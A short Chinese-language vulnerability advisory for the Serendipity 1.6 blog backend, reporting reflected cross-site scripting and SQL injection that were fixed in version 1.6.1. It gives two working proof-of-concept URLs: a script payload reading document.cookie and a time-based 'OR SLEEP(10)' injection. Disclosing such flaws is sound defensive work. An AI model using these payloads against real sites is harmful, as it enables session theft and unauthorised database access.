标题Serendipity 1.6 Backend Cross-Site Scripting and SQL-Injection vulnerability
作者Stefan Schurtz
影响版本:  Successfully tested on Serendipity 1.6
开发者官网：http://www.s9y.org
状态：已修复
 
缺陷描述:
==========================
 
该版本受xss及注射影响
 
==================
技术分析:
==================
 
# 跨站脚本
http://www.2cto.com /serendipity/serendipity_admin_image_selector.php?serendipity[textarea]='"</script><script>alert(document.cookie)</script>
 
# SQL注射
http://www.2cto.com /serendipity/serendipity_admin.php?serendipity[adminModule]=plugins&serendipity[plugin_to_conf]=-1' OR SLEEP(10)=0 LIMIT 1--+
 
=========
解决方案:
=========
 
升级到新版本version 1.6.1